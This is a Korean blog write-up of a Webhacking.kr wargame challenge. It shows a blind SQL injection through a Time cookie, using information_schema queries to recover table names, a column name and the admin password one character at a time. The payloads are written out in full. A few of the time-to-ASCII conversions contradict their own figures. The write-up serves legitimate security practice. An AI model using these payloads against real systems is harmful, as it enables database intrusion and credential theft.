프로젝트/Webhacking.kr

[Webhacking.kr] Challenge(old) 2번 문제

Uggjjini 2021. 6. 29. 16:52

문제 페이지는 해당 페이지와 같다.

 

 

해당 페이지에서는 아무 단서도 없어서 해당 페이지 소스를 확인해 본다.

 

 

<!-- if you access admin.php i will kick your ass -->

 

admin.php 에 접근해야 할 될 거 같은 문구가 확인 된다.

 

 

 

 

해당 페이지로 접근하면 패스워드를 입력하는 창이 나오는 것을 확인할 수 있다.

DB에 접근하여 해당 페이지의 패스워드를 알아내서 입력하면 해당 문제가 풀릴 거 같다.

SQL injection을 사용하여 DB에 접근해본다.

 

 

처음 문제 페이지로 돌아가서 쿠키 값을 확인해본다.

 

 

쿠키에 Time 항목이 있는 것을 확인할 수 있다.

 

 

다시 웹페이지의 소스를 확인해 보면

 

 

상단의 주석을 확인하면 시간이 적혀 있는 것을 알 수 있다.

 

Blind SQL injection이 가능한지 확인하기 위하여 쿠키값에 참과 거짓인 구문을 넣어 확인해본다.

 

참인 구문 and 1=1

 

항상 참이 되도록 쿠키값 뒤에 and 1=1를 첨가하여 결과를 확인해 본다.

 

 

상단 주석의 시간이 2070-01-01 09:00:01로 바뀐 것을 확인할 수 있다.

 

거짓 구문 and 1=0

 

항상 거짓이 되도록 쿠키값 뒤에 and 1=0을 첨가하여 결과를 확인해 본다.

 

 

상단 주석의 시간이 2070-01-01 09:00:00로 바뀐 것을 확인할 수 있다.

 

 

참과 거짓인 구문들의 결과가 다른 것을 확인하였다. Blind SQL injection 공격이 가능하다는 것을 알 수 있다.

 

Blind SQL injection을 통하여 해당 페이지의 비밀번호를 찾아본다.

비밀번호를 알아내기 위하여 해당 페이지의 DataBase에서 해당 비밀번호가 들어있는 테이블과 칼럼을 찾아야 한다.

 


먼저 table 부터 찾아본다.

 

해당 구문을 통해 테이블의 개수를 찾아본다.

(select count(table_name) from information_schema.tables where table_schema=database())

 

상단의 구문을 Time 쿠키값을 입력하는 창에 입력하여 결과를 확인한다.

 

 

 

주석의 시간이 2070-01-01 09:00:02로 바뀐것을 보아 테이블이 2개임을 유추할 수 있다.

 

 

 

 

해당 구문을 통하여 각 테이블명의 길이를 알아본다.

(select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)

(select length(table_name) from information_schema.tables where table_schema=database() limit 1,1)

 

상단의 구문을 Time 쿠키값을 입력하는 창에 입력하여 결과를 확인한다.

 

 

 

주석의 시간이 2070-01-01 09:00:13으로 바뀐것을 보면 첫번째 테이블명은 13글자임을 유추할 수 있다.

 

 

 

주석의 시간이 2070-01-01 09:00:03으로 바뀐것을 보면 두번째 테이블명은 3글자임을 유추할 수 있다.

 

 

 

 

해당 구문을 통해 짧은 글자 수의 두번째 테이블 명부터 알아내본다.

(select ascii(substring(table_name, 1,1)) from information_schema.tables where table_schema=database() limit 1,1)

 

상단의 구문을 Time 쿠키값을 입력하는 창에 입력하여 결과를 확인한다.

 

 

 

주석의 시간이 2070-01-01 09:01:48으로 바뀐것을 확인할 수 있다.

01:48 는 108초이고 이것을 아스키문자로 바꾸어 보면 ' l '이 나오는 것을 알 수 있다.

 

 

해당 방식으로 아래의 구문을 입력하여 나머지 글자도 알아본다.

(select ascii(substring(table_name, 2,1)) from information_schema.tables where table_schema=database() limit 1,1)

(select ascii(substring(table_name, 3,1)) from information_schema.tables where table_schema=database() limit 1,1)

 

 

 

주석의 시간이 2070-01-01 09:01:51으로 바뀐것을 확인할 수 있다.

01:51 는 151초이고 이것을 아스키문자로 바꾸어 보면 두번째 문자는  ' o '임을 알 수 있다.

 

 

 

주석의 시간이 2070-01-01 09:01:43으로 바뀐것을 확인할 수 있다.

01:43 은 103초이고 이것을 아스키문자로 바꾸어 보면 두번째 문자는  ' g '임을 알 수 있다.

 

 

두번째 테이블 명은 log임을 알 수 있다.

 

 

이와 동일한 방법으로 13글자인 첫번째 테이블 명도 알아본다.

(select ascii(substring(table_name, 1,1)) from information_schema.tables where table_schema=database() limit 0,1)
(select ascii(substring(table_name, 2,1)) from information_schema.tables where table_schema=database() limit 0,1)
(select ascii(substring(table_name, 3,1)) from information_schema.tables where table_schema=database() limit 0,1)
...
(select ascii(substring(table_name, 13,1)) from information_schema.tables where table_schema=database() limit 0,1)

 

 

상단의 구문을 입력하고 주석시간을 확인하여 아스키문자로 변환한다.

01:37 97 a
01:40 100 d
01:49 109 m
01:45 105 i
01:50 110 n
01:35 95 _
01:37 97 a
01:54 114 r
01:41 101 e
01:37 97 a
01:35 95 _
01:52 112 p
01:59 119 w

 

첫번째 테이블 명은 admin_area_pw 임을 확인하였다.

 

패스워드는 테이블명을 통하여 첫번째 테이블인 admin_area_pw에 있다는 것을 알 수 있다.

 

 


 

해당 구문을 통하여 admin_area_pw 테이블의 칼럼개수를 알아본다.

(select count(column_name) from information_schema.columns where table_name='admin_area_pw')

 

상단의 구문을 Time 쿠키값을 입력하는 창에 입력하여 결과를 확인한다.

 

 

 

주석의 시간이 2070-01-01 09:00:01으로 바뀐것을 확인할 수 있다.

이로서 해당 테이블에는 칼럼이 1개임을 알 수 있다.

 

 

 

 

해당 구문을 통해 칼럼명의 길이를 알아본다.

(select length(column_name) from information_schema.columns where table_name='admin_area_pw')

 

상단의 구문을 Time 쿠키값을 입력하는 창에 입력하여 결과를 확인한다.

 

 

 

주석의 시간이 2070-01-01 09:00:02으로 바뀐것을 확인할 수 있다.

해당 칼럼명은 2글자임을 알 수 있다.

 

 

 

해당 구문을 통해 칼럼명을 알아낸다.

(select ascii(substring(column_name, 1,1)) from information_schema.columns where table_name='admin_area_pw')

(select ascii(substring(column_name, 2,1)) from information_schema.columns where table_name='admin_area_pw')

 

상단의 구문을 Time 쿠키값을 입력하는 창에 입력하여 결과를 확인한다.

 

 

 

주석의 시간이 2070-01-01 09:01:52으로 바뀐것을 확인할 수 있다.

01:52 은 112초이고 이것을 아스키문자로 바꾸어 보면 첫번째 문자는  ' p '임을 알 수 있다.

 

 

 

 

 

주석의 시간이 2070-01-01 09:01:59으로 바뀐것을 확인할 수 있다.

01:59 은 119초이고 이것을 아스키문자로 바꾸어 보면 첫번째 문자는  ' w '임을 알 수 있다.

 

최종 칼럼명은 pw 임을 확인하였다.

 

패스워드는 칼럼명을 통하여 해당 칼럼에 있다는 것을 알 수 있다.

 

 


이제 최종으로 패스워드를 알아내본다.

 

 

해당 구문을 통하여 pw 칼럼에 있는 패스워드의 길이를 알아본다.

(select length(pw) from admin_area_pw)

상단의 구문을 Time 쿠키값을 입력하는 창에 입력하여 결과를 확인한다.

 

 

 

주석의 시간이 2070-01-01 09:00:17으로 바뀐것을 확인할 수 있다.

해당 패스워드는 17글자인 것을 확인할 수 있다.

 

 

 

해당 구문을 통하여 패스워드를 알아낸다.

(select ascii(substring(pw, 1,1)) from admin_area_pw)
(select ascii(substring(pw, 2,1)) from admin_area_pw)
(select ascii(substring(pw, 3,1)) from admin_area_pw)
....
(select ascii(substring(pw, 17,1)) from admin_area_pw)

상단의 구문을 입력하고 주석시간을 확인하여 아스키문자로 변환한다.

 

01:37 107 k
01:47 117 u
01:40 100 d
01:51 111 o
01:55 115 s
01:35 95 _
01:56 116 t
01:51 111 o
01:35 95 _
01:38 98 b
01:41 101 e
01:45 105 i
01:55 115 s
01:56 116 t
01:48 108 l
01:37 97 a
01:38 98 b

 

 

최종적으로 패스워드는 kudos_to_beistlab임을 알아내었다.

 

 

admin.php 페이지에서 패스워드 입력창에 kudos_to_beistlab을 입력한다.

 

 

 

해당 문제를 클리어했다는 것을 확인할 수 있다.